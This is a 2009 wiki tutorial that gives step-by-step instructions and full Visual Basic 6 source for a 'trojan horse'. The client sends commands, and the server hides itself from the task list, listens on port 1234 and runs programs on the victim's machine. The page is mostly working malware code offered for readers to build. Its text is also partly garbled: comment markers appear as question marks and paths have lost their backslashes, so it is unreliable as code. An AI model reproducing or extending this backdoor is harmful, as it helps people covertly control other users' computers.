Making a VB virusThis is a featured page

How to make a virus in VB ( With Pic step by step) -

first get Visual Basic 6.0 Enterprice or Professional both are ok.
To make a trojan horse we need to create two files a Server and a Client.

We start with the Client:
Open Visual Basic 6.0
Open a new standard.EXE

user posted image

After you open the standard.exe you will look at form1 that is looking like this:
user posted image

Add a 1 textbox and a 3 command buttons to the form.
Chance text of Textbox1 to 127.0.0.1 and set Alignment to Center
Chance caption of command button 1 to ?connect?
Chance caption of command button 2 to ?open msn?
Chance caption of command button 3 to ?open explorer?

It will looks a little like this:
user posted image

Ok now we gonne add the Winsock.ocx by clicking right on the toolbox and click components to add the microsoft winsock control 6.0 (SP6)

Like this:
user posted image

And add the winsock control to your project

user posted image

Private Sub Command1_Click()
Winsock1.RemoteHost = Text1.Text
Winsock1.RemotePort = 1234
Winsock1.Connect
End Sub

Private Sub Command2_Click()
Winsock1.SendData "msn"
End Sub

Private Sub Command3_Click()
Winsock1.SendData "ex"
End Sub

Private Sub Winsock1_Close()
Winsock1.Close
End Sub

Private Sub Winsock1_Connect()
Form1.Caption = "Connected To " & Text1.Text
End Sub

That?s all for the Client now so save this project and start up Visual Basic again.

Now we gonne make the server part so we can complete the trojan.
Start a new Standard.EXE
On this form we only gonne add the winsock.ocx control

user posted image

Dubbel click on the Form to open the code place for Form1 and add the following code:

Private Sub Form_Load()
App.TaskVisible = False ?to make the server unvisible to Ctrl Alt Del
Me.Hide ?hide the Form when load
If App.PrevInstance = True Then
Unload Me ?if the App ir allready running close the App
End If
Winsock1.LocalPort = 1234
Winsock1.Listen ?let the server listen on port 1234 for you to connect
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub



Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data

If data = "msn" Then
On Error Resume Next
?open msn messenger on the server side
Shell ("C:Program FilesMSN Messengermsnmsgr.exe")
Shell ("C:ProgramMSN Messengermsnmsgr.exe")
End If

If data = "ex" Then
On Error Resume Next
?open explorer on the server side
Shell ("C:Program FilesInternet ExplorerIEXPLORE.EXE")
Shell ("C:ProgramInternet ExplorerIEXPLORE.EXE")
End If

End Sub

Hope this help you

Tut by sam64 wink.gif


No user avatar
Canakar
Latest page update: made by Canakar , Feb 19 2009, 12:37 AM EST (about this update About This Update Canakar Edited by Canakar

No content added or deleted.

- complete history)
Keyword tags: making VB virus
More Info: links to this page
There are no threads for this page.  Be the first to start a new thread.

Related Content

  (what's this?Related ContentThanks to keyword tags, links to related pages and threads are added to the bottom of your pages. Up to 15 links are shown, determined by matching tags and by how recently the content was updated; keeping the most current at the top. Share your feedback on Wetpaint Central.)